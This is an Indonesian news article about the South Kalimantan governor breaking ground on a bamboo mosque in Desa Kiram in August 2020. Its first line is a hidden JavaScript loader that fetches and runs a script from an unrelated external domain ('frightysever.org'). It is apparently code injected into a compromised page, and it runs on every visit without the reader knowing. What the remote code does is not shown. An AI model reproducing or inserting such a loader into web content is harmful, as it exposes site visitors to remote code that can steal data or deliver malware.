(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Bertepatan Hari Jadi ke-70 Provinsi Kalimantan Selatan (Kalsel) pada Jumat (14/8/2020), Gubernur Sahbirin Noor, melakukan peletakan batu pertama menandai dimulainya pembangunan Masjid Bambu KH. Abdul Qadir Hasan di Desa Kiram, Kecamatan Karang Intan, Kabupaten Banjar.
Pembangunan Masjid Bambu KH. Abdul Qadir Hasan ini telah lama dinanti oleh masyarakat. Pasalnya, hingga sampai ini belum ada satupun bangunan Masjid yang berdiri di Kecamatan tersebut.
Tak hanya itu, konsep pembangunan Masjid Bambu KH. Abdul Qadir Hasan sangat berbeda dengan masjid pada umumnya. Dibangun di atas lahan seluas 7.900 meter persegi, bangunan masjid didominasi oleh kayu bambu. Konsep pembangunan ini disebut dengan Balanting Bambu, yang berasal dari Kabupaten Hulu Sungai Selatan.
Gubernur Sahbirin Noor mengatakan, Masjid Bambu Kiram ini nantinya akan menjadi ikon baru, sekaligus cerminan masyarakat Kalsel yang religius. Dirinya juga berharap bahwa masjid ini nantinya menjadi daya tarik wisata religi, dengan tetap menempatkan fungsi utama sebagai tempat ibadah dan pengembangan syiar Islam.
“Bisa juga menjadi sarana sholat berjamaah dan tempat menuntut ilmu. Semoga masjid ini juga bisa menjadi pusat syiar Islam,” katanya.
Gubernur yang akrab disapa Paman Birin tersebut juga menuturkan lokasi Masjid Bambu KH. Abdul Qadir Hasan sangat berdekatan dengan objek wisata Kiram Park. Artinya, wisatawan yang bertamasya ke Kiram Park tak hanya disuguhi pemadangan alam, melainkan juga dengan objek wisata religi khas Kalsel.
“Masjid ini juga sebagai pelengkap objek wisata sehingga pengunjung bisa singgah melaksanakan Shalat disini,” kata Paman Birin,” lanjutnya.
Selain dilakukan peletakan batu pertama, Gubenur Kalsel juga turut menyaksikan penentuan arah kiblat Masjid Bambu KH. Abdul Qadir Hasan. Dalam hal ini, juga turut didamping oleh KH Wildan Salman, Ketua DPRD Kalsel Sufian HK, para alim ulama, serta pejabat di lingkungan Pemprov Kalsel.
Kepala Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel, Roy Rizali Anwar, mengatakan bahwa pembangunan Masjid ini ditargetkan rampung pada 20 Desember mendatang. Sedangkan, untuk kapasitas Masjid diperkirakan mampu menampung 180 orang.
“Insya Allah, Masjid Bambu KH. Abdul Qadir Hasan ini bisa rampung sesuai dengan target yang telah ditetapkan. Untuk lahan Masjid ini sebenarnya milik Pemprov Kalsel dan nantinya akan dihibahkan kepada masyarakat setempat,” kata Roy.
Masjid Bambu KH. Abdul Qadir memiliki luas bangunan mencapai 15 x 15 meter. Bangunannya terdiri dari dua lantai dan akan dilengkapi dengan berbagai fasilitas, seperti toilet di lantai atas dan tempat wudhu di lantai bawah. Bentuk Masjid ini didesign menyerupai sebuah kelotok -perahu bermotor khas Kalsel. Pembangunan Masjid ini menelan biaya mencapai Rp 11,9 miliar. (Kanalkalimantam.com/rico)
Reporter: Rico
Editor: Cell
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.